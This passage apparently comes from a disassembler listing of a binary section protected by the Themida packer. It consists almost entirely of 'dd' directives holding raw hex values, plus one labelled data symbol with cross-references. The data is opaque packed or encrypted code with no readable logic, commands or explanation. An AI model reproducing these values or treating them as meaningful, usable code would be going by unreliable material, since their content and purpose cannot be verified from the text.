dd 1088C3F2h, 0D17CCA70h, 493E06FBh, 90288881h, 0A8A3378Dh
dd 72DADF2Ah, 6757F58Dh, 9E180A72h, 5D79428Ah, 12E4D57Ah
dd 74670000h, 867A6A08h, 968E7E1Ch, 0B0A69634h, 0C7BCAC4Ah
dd 0F554C15Fh, 8C2A9287h, 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh
dd 0DD0576D7h, 0EC760210h, 1A0F87D9h, 0FF7114B2h, 0C7BE3575h
dd 760A6063h, 82ECD4B9h, 0B452B0AAh, 0E0636A60h, 0C737C335h
dd 2D237C64h, 3DAF38C3h, 0E4F0E3BFh, 0DA94B19Ah, 744BC3C3h
dd 0FEFF72DCh, 0F69FBA7h, 88153DAEh, 0D62475FBh, 0BEEA3B3Eh
dd 0F675FB88h, 12693D1Dh, 59DE2FFCh, 0ECh, 0B7150FFFh
dd 8B989A0Ch, 0AB67F8D1h, 0B3A85E41h, 0D0CAA04Bh, 1F837A72h
dd 9369D2B5h, 5BCE389Ch, 6FE9A449h, 1C1DC638h, 0CD9CC435h
dd 55A36FE9h, 6C4007C1h, 0D2302A02h, 0EC4A4434h, 0F0E80E9h
dd 9CD13E32h, 0AE9D1A84h, 4EF76813h, 5F69FB61h, 96906611h
dd 7A7DE1D8h, 0A4228C24h, 1721C0Fh, 75FB61D9h, 4FFA92E0h
dd 1006C0DEh, 1631A370h, 0D37C4553h, 94DEBD27h, 0C1BF998Ah
dd 2FDA72EEh, 51FC6459h, 1B1E867Bh, 3ADD5BC5h, 0C41C95C8h
dd 349E9DEBh, 0DFF675Ch, 7942F99Fh, 0BBC06548h, 90000011h
dd 0A393319Dh, 0B7A745AFh, 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h
dd 53BBB022h, 6ACEC5B5h, 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh
dd 76021106h, 0FB00215h, 2414B21Ah, 0CEDED02Ah, 354F028Bh
dd 0EA5CFF9Dh, 98F83441h, 235FC958h, 0B4B7150Fh, 8A604FEh
dd 13BE2018h, 75DF493Dh, 84E2DC92h, 359894E6h, 8E00AB36h
dd 0BE6D723Ch, 0F47FE9ACh, 0FB96E683h, 2C028B69h, 173FD234h
dd 2675FB47h, 418F6ED8h, 78C7F447h, 0B82A9E75h, 30E4AAB5h
dd 72EF59E2h, 0CB3DE87Bh, 3B60299h, 41CC3693h, 9357E7D0h
dd 0FDF4CA5Bh, 0DCDF4139h, 0F65AEE86h, 43F7AF20h, 95736A0h
dd 21A0AB06h, 18AC0576h, 5B316187h, 0B493FD67h, 0EBE5BB66h
dd 764CEF8Dh, 0C51B1E7Ch, 0E881A91Ah, 3A886188h, 0A0FEF8D0h
dd 0A9576CAEh, 57FCDF87h, 10D2h, 7C1A8679h, 902E988Ch
dd 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h, 0B7AE9E3Ch
dd 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 212EF17h, 99EBFE76h
dd 0B4B7150Fh, 24CF5259h, 0FB2FAEB3h, 73115F69h, 3E04FAD0h
dd 554DE545h, 0A3F9FC5Ch, 32B1BC39h, 55BBB187h, 792FC52h
dd 0D546D96h, 2B2E7C70h, 0E90CAEDAh, 2D0DE66Fh, 1D800259h
dd 5C49D8h, 6AEF0000h, 0C435E063h, 69FB4BEBh, 648CFD86h
dd 6B75FB54h, 86D4B31Dh, 0AC0C05DBh, 71E26B0Eh, 75FB5449h
dd 0B97B0650h, 0D60AA332h, 3761D43Eh, 9A75FBDDh, 75889F11h
dd 8A15FBFh, 0FB7C4D75h, 0A40E5C75h, 0D674D2CCh, 0E28DEDE6h
dd 4AB4120Ch, 2F28FE67h, 0C76CCCFh, 100545h, 636AF300h
dd 7530C8E4h, 0C35BD928h, 0C3B98F18h, 1780F35Dh, 2669F006h
dd 0CEA42DD8h, 186E71D9h, 7EDCD6AEh, 2BB43DE0h, 20A92BAh
dd 0B84B9976h, 76020A90h, 4649B1A6h, 39A3F1F0h, 5E096761h
dd 39056ECh, 1781DED6h, 4FD2D934h, 7B7133A4h, 1AF07009h
dd 53BCBF23h, 0E984BAE2h, 0DB73C16Fh, 1D87EDE3h, 163EF43Eh
dd 6861336Bh, 0B0C7CF92h, 0B34BE34Fh, 0DA383208h, 8C1781D7h
dd 0C05EBCB6h, 7578D6D0h, 7A40360Ch, 0C3191C86h, 4944C12Bh
dd 65FD655Ah, 0A88849BAh, 73C169FBh, 36B68F81h, 20C5A873h
dd 0F5Eh, 0F08EFAEDh, 4A20C00h, 1CBA1C14h, 32D0362Ch, 47E54D42h
dd 180D7FDAh, 2B2212B0h, 403929C7h, 585242E0h, 0FC5D5CFAh
dd 213638Bh, 5576A76h, 0E9074874h, 0B122AB6Fh, 6FE90789h
dd 96BE2F90h, 0A56FE907h, 0D855BF57h, 1AA34ED5h, 0E4E74F44h
dd 0E7B1248Eh, 8A69F000h, 0D689001h, 29777602h, 3932E0BFh
dd 0C09641D9h, 0E7BD68C6h, 0A2208AF2h, 0D12F29FFh, 24958F67h
dd 20D8BB3h, 0AC449276h, 0C45F4EA9h, 35A3A819h, 2DB67014h
dd 0F43694BCh, 0E34D9B6Fh, 4AC4B604h, 0E1793E09h, 0EBC59FEh
dd 9C8F0000h, 0AEA29230h, 0BEB6A644h, 0D8CEBE5Ch, 0EFE4D472h
dd 1D7CE987h, 0B452BAAFh, 0CB69CDC4h, 0E482E2DBh, 0FE9CFAF4h
dd 52D9EFFh, 14760214h, 150FAF01h, 4FEB4B7h, 0CF86A3A6h
dd 7EC41BEFh, 460BD81Dh, 62000009h, 0CA34928Ch, 0E0636A8Eh
dd 173AAC35h, 888346FFh, 0AD94CB6h, 7769F053h, 4346AAA1h
dd 0A9D142EDh, 0B076025Bh, 0CB19F862h, 92504A20h, 0E335389Ah
dd 0AC068959h, 0A941D99Dh, 0C3211B0Bh, 5F436FC0h, 0B9B47602h
dd 90E7F2Ah, 38701488h, 0C80CF8EAh, 280B793Dh, 0E1D83h
dd 0CF3B2E00h, 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h
dd 4EBC1B88h, 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h
dd 15A4CC3Dh, 98AB7602h, 0B7150F46h, 5CD94BB4h, 5B83F406h
dd 626FE9E3h, 0B9528014h, 0AF150B03h, 14EC56ACh, 3B11BC1Ah
dd 9174DE46h, 5BDDBD74h, 0ADE3FEE9h, 0CF39290Eh, 1E739BF2h
dd 883E2D8h, 74880000h, 6FE90748h, 842FB2B9h, 0F0010413h
dd 10BB0969h, 8E82403Ah, 0D4322C24h, 45E37BD1h, 52FD5B55h
dd 1F22847Ch, 217C5FC9h, 0B4AE842Ah, 0D9BC356h, 54A27602h
dd 9BA011BCh, 0FE701435h, 20CB3328h, 0F43687AFh, 0DE48966Fh
dd 33BFB1FFh, 0C8793E09h, 0D5C40E5h, 0FCEF0000h, 0E02F290h
dd 1E1606A4h, 382E1EBCh, 4F4434D2h, 7DDC49E7h, 14B21A0Fh
dd 2BC92D24h, 44E2423Bh, 5EFC5A54h, 658DFE5Fh, 74760215h
dd 0D35C0F61h, 0E9073A62h, 89F3416Fh, 0FFF9B7B1h, 0E0E34D41h
dd 575AF28Ah, 0BB2318EEh, 0B6DE4FB8h, 0C56FE907h, 9D75DF77h
dd 254245A3h, 360C8E6Eh, 0A6A5DD41h, 0FA6B4FD6h, 0C41BF862h
dd 0B9D81E3Bh, 878AEAE3h, 0B28EC731h, 34000007h, 3A62D35Ch
dd 416FE907h
dd 96A0E1F7h, 861EB26Bh, 0B5AC9F1Ch, 70655DBBh, 3CC57008h
dd 0CF0F96CAh, 1F890ADEh, 0F0E184ACh, 923D8B69h, 0C664C2BCh
dd 7B7EDCD6h, 2DEFE2Ah, 0E57C6F76h, 2B76C83Ah, 2FA8E423h
dd 78CED13Bh, 7AEB76E0h, 7014A375h, 94544694h, 53793DDBh
dd 0C84CB70h, 0D4C70000h, 0E6DACA68h, 0F6EEDE7Ch, 1006F694h
dd 271C0CAAh, 55B421BFh, 0EC8AF2E7h, 3A105FCh, 1CBA1A13h
dd 36D4322Ch, 3D65D637h, 4C760216h, 150FE739h, 4FEB4B7h
dd 2B25FBA6h, 0A74CACDh, 157B7127h, 0EB685C12h, 0E907527Ah
dd 730B596Fh, 7C5C1370h, 0BC54B4ADh, 0F2C6A65Dh, 0D81D7E9Bh
dd 6F0E2h, 3FB03900h, 6FE8FF17h, 326ED826h, 0D94AD35Ch
dd 6FE907B1h, 0AFD76AB8h, 0BE6FE907h, 6A930670h, 0D56FE907h
dd 696238D6h, 1DB00609h, 6FE907F5h, 731EB604h, 0F000F502h
dd 9E0F9869h, 76020D76h, 0EECD3785h, 251FF5A0h, 22931CC7h
dd 76020DFAh, 0ACAB1308h, 8676F45Eh, 0D02B2E8Ch, 9AC233DDh
dd 0A176020Dh, 9F10BB53h, 70142712h, 2951C223h, 306FF427h
dd 0E584AE2h, 4D793E19h, 0BA0C56Ah, 0B8AB0000h, 0CABEAE4Ch
dd 0DAD2C260h, 0F4EADA78h, 0B00F08Eh, 399805A3h, 0D06ED6CBh
dd 0E785E9E0h, 9EFEF7h, 1AB81610h, 2149BA1Bh, 28760217h
dd 150FC315h, 4FEB4B7h, 0CE87A3A6h, 0C7251FEEh, 7ADD3429h
dd 60D2D81Dh, 0D5BEFA8Fh, 0DD1680B5h, 14Bh, 123AAB34h
dd 206FE86Fh, 18C6C529h, 63B9BC22h, 0F2561CBh, 0B33A415h
dd 126FE907h, 0AB812CC4h, 0F94F52B2h, 0FCF6AC8Fh, 606B009Eh
dd 0D7AD36E1h, 207679E3h, 65CF2F28h, 0FB1E35F2h, 13166469h
dd 0FB2296C2h, 15F5CE75h, 2F99EA41h, 3731DEh, 6AD70000h
dd 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh, 25767911h
dd 75FB1DF9h, 0A4785831h, 0DE2F924Dh, 2048B942h, 2F75FB12h
dd 0B13E77E1h, 95000000h, 0FA64C8BFh, 0B7150FBEh, 0A109FEB4h
dd 94EEE89Eh, 0F5E0E8A9h, 69CFA449h, 0F89EE67Ah, 75DFD3CBh
dd 2A24DADDh, 81A32ECCh, 936FE952h, 7EE6DB99h, 0EF8D257Bh
dd 7C70535Ah, 21B90F12h, 0BC650576h, 43A469FDh, 4E461DD1h
dd 8417D962h, 75FD235Ch, 1211716Ah, 231840B1h, 0D92775FDh
dd 28FEA941h, 4A20CB33h, 583ED55h, 0C6B82015h, 73351C96h
dd 5329CEB1h, 0F800000Ah, 0BFB9905h, 1F0FAD17h, 3727C527h
dd 4D3DDB41h, 0E552F058h, 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h
dd 5635D4Dh, 96076867h, 7602186Eh, 0F186A7Dh, 2414B21Ah
dd 0DA2ECC2Ah, 0B4B7150Fh, 8A604FEh, 3693F365h, 9683E3C8h
dd 4D3652Ch, 5C130000h, 292C8E86h, 7274FC0h, 0E8366FE9h
dd 6269E650h, 32C334DFh, 0FB69FB1Fh, 0B841AAADh, 0FB1F1F47h
dd 0DD3B3575h, 378584DAh, 1F2E5ACDh, 8D6675FBh, 5E552BADh
dd 1D8EF7FAh, 75FB1FF5h, 0B41EB604h, 2F9280D7h, 0A69F75DEh
dd 0F9A3DC46h, 49000001h, 2E8C865Ch, 72A51C4h, 96956FE9h
dd 0E8EF600Bh, 3569F000h, 6C663CE7h, 8680700Eh, 0C3CA2528h
dd 97249540h, 0FA701427h, 0C8CB2B24h, 0DB290872h, 3E1961E9h
dd 42E7CA79h, 976h, 0D876E2D5h, 0EC8AF4E8h, 4A204FCh, 1AB81E14h
dd 2FCD352Ah, 0F567C2h, 130AFA98h, 282111AFh, 403A2AC8h
dd 0E44544E2h, 2194B73h, 0ED3F5276h, 0B4B7150Fh, 0A3A604FEh
dd 1FEECE87h, 3429C725h, 0D81D7ADDh, 0A604FCD2h, 0B662242Bh
dd 0D943DB71h, 167A0h, 0D35C4600h, 0E9073A62h, 89F3416Fh
dd 5659B7B1h, 0F3E8A6A0h, 0C055F38Bh, 28B36CDh, 0CBCE382Ch
dd 0DB980B75h, 0EA69FB1Dh, 0A730999Ch, 0FB220E36h, 766F1D75h
dd 62D37E16h, 75FB223Ah, 1689F341h, 75FB22EAh, 0E7694922h
dd 59F42275h, 305CBB2Bh, 9F836D96h, 0D9B620B8h, 0DE2FBF82h
dd 3AC9h, 636A6F00h, 0D6AC35E0h, 9D107AE0h, 69FB119Ch
dd 0B5C5FADh, 75FB1EDFh, 9699FFF5h, 7F82ECE0h, 1C8B6B22h
dd 0B98D6D46h, 0DE2F9262h, 0B3A9h, 0DE8E0000h, 47388F82h
dd 0FC5016Bh, 0FEB4B715h, 9EFDA509h, 0FF5A6AAEh, 0B4AE6467h
dd 5AAD243h, 63B16FEAh, 51F47B8h, 0E02E6FEAh, 958F4548h
dd 0DC0E9937h, 0F26FEA54h, 66EF9AF8h, 0E9B4CDF5h, 3A2EDC6Fh
dd 50CE38D0h, 8631B0BBh, 0FE5B7515h, 9B469469h, 0CA68D0C5h
dd 52D9E27h, 1475FD0Dh, 8F845CC6h, 330B3527h, 290C7335h
dd 82184h, 0CB372A00h, 0DF493D2Dh, 0F7595141h, 0D736959h
dd 228A7F6Fh, 4AB81784h, 5F4FED55h, 76660468h, 8F7F1D7Dh
dd 9A993795h, 1BA0C839h, 9CAF7602h, 0B21A0F4Ah, 0E50D7E07h
dd 0F46FE907h, 0CEBE3CA6h, 84D876D4h, 0B4B7150Fh, 2951C24Bh
dd 306FE907h, 91298982h, 0F7554F27h, 2744B659h, 64F856C1h
dd 8A7C43ADh, 2A000002h, 35E0636Ah, 0F00257C4h, 28B13A69h
dd 20E8FB7h, 0BD509E76h, 76020E95h, 0DEC56A4h, 0CA53BCBFh
dd 20E3159h, 80EA3876h, 20EE10Dh, 60401976h, 3682358Ch
dd 2067CDEh, 5C220000h, 0DE2C9286h, 157E8B0Bh, 0D88E9129h
dd 277D80DEh, 4B73E48Fh, 526FE937h, 279A04h, 6F6FE937h
dd 0C93AE57Ch, 69F03264h, 9B01F7A5h, 88825803h, 0A29C8C2Ah
dd 0E7E64144h, 0B340B15Ch, 82701457h, 27FC4234h, 2C0F793Eh
dd 73187h, 0BB271A00h, 0CF392D1Dh, 0E7494131h, 0FD635949h
dd 127A6F5Fh, 3AA80774h, 4F3FDD45h, 6656F458h, 7F6F0D6Dh
dd 8A892785h, 1C90B829h, 8C9F7602h, 0B7150F3Ah, 0DE3C360Ch
dd 0E1DB9174h, 0AB648083h, 0A402FCCBh, 7ABA1106h, 3DAFD81Dh
dd 0FF938AE4h, 0EA544843h, 1F991E7h, 13AA40Ch, 158h, 62D35CA7h
dd 6FE9073Ah, 0B189F341h, 25185DB7h, 31A5064Fh, 46DE4239h
dd 0C04DA43h, 6E6840AAh, 5DCF7210h, 7E54441Bh, 40BD2700h
dd 9A0BB64Dh, 69FBC2DDh, 4A9B9EECh, 75FBC51Eh, 1B9D7D56h
dd 0AD51FEA9h, 2D9769ECh, 3032F950h, 4940DEh, 5CE60000h
dd 8B328C86h, 3924C234h, 0D24FB951h, 7EF24CDBh, 99C3EEA7h
dd 0E4E55601h, 2569FB17h, 0C6A0AEDBh, 0FB7C2D55h, 5AEE3C75h
dd 6BD9D4A0h, 0CB0F1CA5h, 70AA23Ah, 0FB188AB6h, 9E9C275h
dd 2F8BDE35h, 9725DEh, 0FCB0000h, 0FEB4B715h, 0E89EA109h
dd 0D78D90EEh, 3EE17FDDh, 4C781DCCh, 40AAECFFh, 0E9B38BCDh
dd 69C7C16Fh, 5D5228CBh, 329CF2F5h, 802BB6B5h, 0FDFA6F0Fh
dd 0A5509E69h, 1A12DACFh, 9F7520B8h, 89EFE5A7h, 0ED98EEF1h
dd 0FDEE547Ch, 0A30D5B75h, 0D8403525h, 34514EE6h, 21C6A973h
dd 5DAh, 74127E71h, 88269084h, 0A03EA098h, 0B654BAB0h
dd 0CB69D1C6h, 9C91035Eh, 0AFA69634h, 0C4BDAD4Bh, 0DCD6C664h
dd 80E1E07Eh, 21DE70Fh, 91E3F676h, 14B21A0Fh, 2ECC2A24h
dd 0B7150FDAh, 0A604FEB4h, 632908h, 0FF880000h, 7DD0576h
dd 9EEC6FE9h, 0E907E30Bh, 6698556Fh, 19AF6ECFh, 2662CC1Ah
dd 2892865Ch, 0B324CF25h, 6FE9078Bh, 2DA4492h, 0DF00AE08h
dd 0E882BB39h, 0EE44D50h, 744CB614h, 0BC191C7Ah, 5C562505h
dd 59CA53FEh, 6FE95D31h, 5DF31B8Ch, 0ACFA6FE9h, 77F55FADh
dd 2F98h, 2C21F700h, 16BC1C4h, 62D35CC5h, 6FE9073Ah, 0B189F341h
dd 55659B7h, 6FE907D8h, 0A77656F5h, 0EB14FADh, 0DBDE4038h
dd 0CACD2B25h, 3672DC74h, 2E8C865Ch, 936BD52Bh, 8FB72899h
dd 9E6FE907h, 0FA92FCF0h, 9045F62h, 26BE241Ah, 2A10A7Bh
dd 5AA869F0h, 81DFD9AFh, 9BF9F3E3h, 0B34E3D98h
dd 7D59708h, 0A2F07009h, 692721F7h, 0B2080B75h, 928C7C1Ah
dd 0D7D63134h, 0E849B150h, 9C345801h, 6EDF68F1h, 6FE98B46h
dd 2A9D0755h, 69FB9A69h, 426052A0h, 197336A4h, 49C9136h
dd 0BCAF0000h, 0CEC2B250h, 0DED6C664h, 0F8EEDE7Ch, 0F04F492h
dd 3D9C09A7h, 0D472DACFh, 0EB89EDE4h, 4A202FBh, 1EBC1A14h
dd 254DBE1Fh, 3476021Eh, 150FCF21h, 3E360CB7h, 1983D9DCh
dd 2A22F89Bh, 8C865EC8h, 7B752B2Eh, 5500721Dh, 74B4044Ch
dd 7C987BE5h, 1A14E3C3h, 67FF675Ch, 237DD4C9h, 3DC4D81Eh
dd 6A000000h, 35E0636Ah, 0FB4BEBC4h, 39E43269h, 6C0A6A63h
dd 0FB54B7E1h, 75D3CD75h, 97FFF4CAh, 0C6BFAF2Dh, 0C132BB66h
dd 75FB5499h, 94FEF2A0h, 0ABA33B91h, 0F94F52B2h, 0FB07AC8Fh
dd 0B5000003h, 0B4B7150Fh, 0FBA604FEh, 0D5CD2B25h, 1F7578E0h
dd 0ABA237B5h, 3FFC6D18h, 4E69FB1Eh, 80ACFD00h, 9675FB22h
dd 81373AA0h, 67CFC48Ch, 0AF68CCCFh, 0B4DC4DCFh, 0BB75FB22h
dd 26FFD56Dh, 9A1B7246h, 2062DE2Fh, 8000000h, 35E0636Ah
dd 0FB11C3C4h, 0F9FC4A69h, 0FB1E7CA8h, 0FBDBB475h, 2F91D027h
dd 10517DEh, 0FBD0000h, 830CB715h, 0E907EA12h, 39A3F16Fh
dd 997BED56h, 179F1690h, 938860CAh, 0E9BF282Bh, 1F888BF5h
dd 0E9C986AEh, 0AF47956Fh, 0C96B9304h, 24726FE9h, 8AE8E2BAh
dd 79D7D187h, 0C43E50DBh, 0AB1D6FE9h, 3FB0A190h, 6FE98317h
dd 7944D826h, 6ED8CC29h, 137D156Bh, 5FD0413Bh, 6FE9FB37h
dd 0B560F846h, 0FB93BB2Ch, 4C9A6FE9h, 7A7464E2h, 0C75FC7BCh
dd 0DF6269C4h, 190AC334h, 0DE6769FCh, 0FBDD456Dh, 0E065475h
dd 57ADB01Ah, 3CAD0EEDh, 75FBDD14h, 2149BA1Bh, 2875FBDDh
dd 0CAA42DAh, 988D7477h, 3FD72D30h, 7F8D2394h, 42907010h
dd 4CCC197h, 7210A80Eh, 0A1FFF9CFh, 6DE489Eh, 0E1B7A911h
dd 667942BFh, 2C8DE83h, 90830000h, 0A2968624h, 0B2AA9A38h
dd 0CCC2B250h, 0E3D8C866h, 1170DD7Bh, 0A846AEA3h, 0BF5DC1B8h
dd 0D876D6CFh, 0F290EEE8h, 0F92192F3h, 760220h, 1A0F9BEDh
dd 2A2414B2h, 5CDA2ECCh, 0A107FDD3h, 0E907E60Eh, 3DA7F56Fh
dd 8B36CDC0h, 0F25CBCB5h, 11F5F667h, 0C61469FBh, 8B845AC3h
dd 224EC12Bh, 5A75FB1Eh, 76CDA181h, 0BDDE2F91h, 0E4h, 62D35C63h
dd 6FE9073Ah, 31997CACh, 1007E53h, 777149B3h, 585BC5B9h
dd 1D1C6C06h, 0FA7EEFCh, 0C9BE7477h, 0DA50B01h, 35A7B90Ah
dd 938D6FE9h, 0ADA79735h, 0FAF14C4Fh, 0F7A8406Bh, 1105A232h
dd 0B64EA4A7h, 6063C7BEh, 3EC7720Ah, 851C44B5h, 6776FE9h
dd 6FE985DEh, 52A09FEDh, 72D23BBEh, 0E953AB2Eh, 0FB9ABD76h
dd 554A2069h, 2A94EAEDh, 0CA5FFD4Bh, 249540C3h, 701002EDh
dd 6EF7A2F0h, 0F006D5FDh, 3E36E46Fh, 0EB83D9DCh, 2B20F681h
dd 403525C3h, 38B0E6D8h, 0A88B7942h, 1B903h, 339F9200h
dd 47B1A595h, 5FC1B9A9h, 75DBD1C1h, 8AF2E7D7h, 0B2207FECh
dd 0C7B755BDh, 0DECE6CD0h, 0F7E785E5h, 2019FFDh, 210830A1h
dd 4177602h, 521A0FB2h, 41F7FA58h, 90E6E947h, 0D2C260F8h
dd 88DC7AD8h, 0B4B7150Fh, 229304FEh, 6FE907FAh, 7D1BB301h
dd 3235938Dh, 0A24DD4D7h, 0FB003031h, 0E08BD969h, 0AEB1110Ah
dd 0B40BEE58h, 0E911820Bh, 0F075FB0Dh, 0B79738A2h, 16B5F35h
dd 67C5BF97h, 75F2E6BCh, 0FB0DDC04h, 0FD95E375h, 0BC3AA4FAh
dd 0F29D2427h, 0BDC0261Ch, 0BFE2D367h, 0EF85999h, 0ABA819A4h
dd 5A700D3Ch, 5953090Ch, 8EDE50FBh, 0A92ABF70h, 5A10F35Dh
dd 47FD0062h, 91E8EB51h, 0E483F2D2h, 2149BA43h, 286FE97Eh
dd 7E2E56C7h, 0EF3D6FE9h, 6C4CED57h, 0C36EF5F8h, 0FB865552h
dd 0BB60469h, 71153A99h, 42AC28E7h, 564B21C4h, 0B2AC84EEh
dd 0A29B5154h, 9D0E9742h, 75FBD575h, 2D30948Bh, 208AD8D7h
dd 0CB3DE63Dh, 1E9319E4h, 9DC53617h, 0AC75FBC9h, 0BB5CC65Eh
dd 0B4120CDBh, 0A59D7316h, 80EA4043h, 0CE790803h, 0DC25C5Dh
dd 9C9FED70h, 8B8EECE6h, 777ADED5h, 6467C9C1h, 7A4929A2h
dd 0EF882082h, 0D1DC5030h, 3536A752h, 0D469FBC4h, 30C83226h
dd 51BBAF85h, 3CA2984Eh, 27BC3AA4h, 0CE473D24h, 0FBC9355Dh
dd 5EF64475h, 0F4AA1BC6h, 1B7002C2h, 1A14CACDh, 3635Ch
dd 847412AAh, 0D8292C8Ah, 2876C67Eh, 835232E9h, 9D8D2B89h
dd 8C4245A3h, 0D62D3096h, 6E683717h, 0F9CF7210h, 469C9F01h
dd 0AC0A04DCh, 804A9h, 5CB20000h, 0C32D8D86h, 1C0F3571h
dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
dd 9E944A4Dh, 877F3538h, 786C2225h, 684D0B0Eh, 2557h, 68243489h
dd 3A76h, 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h
dd 14895C24h, 4EC8324h, 0BD242C89h, 2B417774h, 5A7F87B9h
dd 5DE92931h, 24148B54h, 5304C483h, 8BBh, 51D30100h, 8B5B038Fh
dd 89522414h, 4C281E2h, 83000000h, 148704C2h, 34FF5C24h
dd 0C4815924h, 4, 0F96330E9h, 0E6BF9EFFh, 1C61B846h, 0C5030619h
dd 0D1F2E0FFh, 1CD37722h, 9F4D019Bh, 41413FF6h, 3A662377h
dd 0D9720646h, 34C63D7h, 9E0300E6h, 355746BCh, 528C4C68h
dd 0C49924D7h, 0D5B13EB3h, 0C16D6CC1h, 335355F7h, 5301030Dh
dd 970B78F0h, 0F3897200h, 1C2861C1h, 43F20B2Bh, 32FD6330h
dd 0FEEE0F8Ah, 4A094AA8h, 8F3B771Bh, 85C66C12h, 6122871h
dd 30DF6856h, 0B5FFA9C5h, 61230E9h, 7F35858Dh, 0D0FF0615h
dd 0A118D8Dh, 6A510612h, 0C9B5FF40h, 0FF061203h, 122921B5h
dd 0FFD0FF06h, 1203C9B5h, 21B5FF06h, 0E8061229h, 0Dh, 1D35A147h
dd 5A6D0E90h, 0C927042Ah, 83595904h, 2CC104E9h, 24C10224h
dd 0C030224h, 241CF724h, 148BDB2Bh, 81F28119h, 815D8C5Bh
dd 0EEE1FDEAh, 0BBC28177h, 8930EAABh, 0EB831914h, 241C3B04h
dd 0FFDC850Fh, 9D8DFFFFh, 6122AA1h, 0C00B038Bh, 7840Fh
dd 38B0000h, 89045B8Bh, 0E9C98B18h, 15Fh, 60D48B52h, 0E8h
dd 0ED815D00h, 6191DE7h, 3D08428Bh, 78263845h, 138850Fh
dd 428B0000h, 184A8B0Ch, 0C3BBC8D3h, 3350B8B2h, 4E883C3h
dd 9A18589h, 588B0612h, 8BF88B04h, 4A8B1042h, 0BEC8D318h
dd 0E2B46989h, 0C72BC633h, 83FCE083h, 858904E8h, 6120505h
dd 8914428Bh, 121BD985h, 18428B06h, 0B0E953h, 0B5FF0000h
dd 6122BF1h, 0B9E9h, 2DB5FF00h, 0E906121Dh, 0AEh, 1B85B5FFh
dd 0A3E90612h, 0FF000000h, 121FC9B5h, 98E906h, 0B5FF0000h
dd 6120CD1h, 8DE9h, 0B9B5FF00h, 0E906122Dh, 82h, 2D69B5FFh
dd 77E90612h, 0FF000000h, 123119B5h, 6CE906h, 0B5FF0000h
dd 6122A69h, 61E9h, 49B5FF00h, 0E906122Ah, 56h, 2C81B5FFh
dd 4BE90612h, 0FF000000h, 122381B5h, 40E906h, 0B5FF0000h
dd 612268Dh, 35E9h, 0DB5FF00h, 0E9061205h, 2Ah, 6ADB5FFh
dd 1FE90612h, 0FF000000h, 1213DDB5h, 14E906h, 0D88B0000h
dd 0BB8h, 0E3F76600h, 1E488D8Dh, 0C8030619h, 95FFE1FFh
dd 6121B31h, 0A1858B5Bh, 39061209h, 850F0458h, 0Fh, 0FF016A53h
dd 1219CD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h
dd 8BE0FF77h, 12237185h, 368D8D06h, 8906191Fh, 0C38B0141h
dd 13E8h, 4F7EFF00h, 0CFEB56D2h, 38E895B7h, 7F2047F1h
dd 4D3DB53h, 56575BF9h, 5E595E50h, 5D1BC381h, 11E90000h
dd 29000000h, 7D92055Eh, 4EE7E3Ch, 584FE41Bh, 55173A7Dh
dd 3C8BD22Bh, 0EE913h, 805B0000h, 0CE710366h, 6A609B8Ah
dd 113B6469h, 9993F781h, 1DB4193Fh, 5E4CEF81h, 870F3F15h
dd 3, 815CEC80h, 0C6CF52F7h, 8157F522h, 7E2A30D1h, 13048F33h
dword_5B89E0 dd 0DE9h ; DATA XREF: Themida_:0054D5B3r
; Themida_:0054D618r ...
dd 0B643CE00h, 767591BDh, 3F88BF60h, 800F9012h, 18h, 10E8h
dd 8C7DA200h, 0D39A04BFh, 0F16C7455h, 9A0E27F3h, 59CE8AA5h
dd 0A493EA81h, 0E5800CF4h, 8FC281C4h, 0F0CF4A4h, 0FA81C8B7h
dd 0FFFFA3A8h, 0FF74850Fh, 0CE8BFFFFh, 28E9h, 83D8F900h
dd 4Ah, 8 dup(0)
dd 518E900h, 53680000h, 0E9061921h, 0FFF95FA9h, 1921C668h
dd 5F9FE906h, 6368FFF9h, 0E9061923h, 0FFF95F95h, 7C1A8679h
dd 902E988Ch, 0A846A8A0h, 0BE5CC2B8h, 0D371D9CEh, 0A4990B66h
dd 0B7AE9E3Ch, 0CCC5B553h, 0E4DECE6Ch, 88E9E886h, 227EF17h
dd 99EBFE76h, 0AFB21A0Fh, 3A1FFF9h, 3E66D760h, 4D6FE907h
dd 151895FFh, 0E85AE38Eh, 2018C3CDh, 0F2E2ABEh, 566D943h
dd 8469FBAEh, 0B6E23336h, 0EE75FBB6h, 0A613515h, 51DE302Ah
dd 331h, 62D35CF7h, 6FE9073Ah, 4F89F341h, 0E1606BE0h, 36B6036h
dd 9D0E99h, 1169FB2Fh, 1E8F18C3h, 75FB2FF6h, 0B0AF170Ch
dd 0CB1EF862h, 989E8926h, 14BF4249h, 7253C6A3h, 8689D765h
dd 4941202Bh, 922A9287h, 4B41398Fh, 31A24DE5h, 67608AB0h
dd 72E50F59h, 0B6022A9Bh, 0BB096B60h, 9886F827h, 6048FF27h
dd 28C00E6Bh, 150FE590h, 2F2919B7h, 8DF4DFD1h, 5E417DD3h
dd 341B9h, 36F6200h, 17817565h, 2F918979h, 45ABA191h, 5AC2B7A7h
dd 82F04FBCh, 9787258Dh, 0AE9E3CA0h, 0C7B755B5h, 0D2D16FCDh
dd 28D80071h, 0D4E77602h, 0E0636A82h, 2779C435h, 0A61869F0h
dd 38D31CAAh, 22016B11h, 5E5329D4h, 736858F6h, 5D56B2ABh
dd 37B60C0Ah, 2B9C47DFh, 7602E903h, 2124BC0Ah, 30DBB1D0h
dd 0B696396h, 64B3A819h, 0E98E717Fh, 2CEh, 0D876E2D5h
dd 0EC8AF4E8h, 4A204FCh, 1AB81E14h, 2FCD352Ah, 0F567C2h
dd 130AFA98h, 282111AFh, 403A2AC8h, 0E44544E2h, 2284B73h
dd 0ED3F5276h, 3A62D35Ch, 416FE907h, 10C89F3h, 1B66D782h
dd 6A69F027h, 0DAB0191Ch, 267C7FE3h, 0E2C8AB92h, 60CAD19Fh
dd 213C1EDh, 7EDED776h, 6BCDC57Bh, 668EFF68h, 75760213h
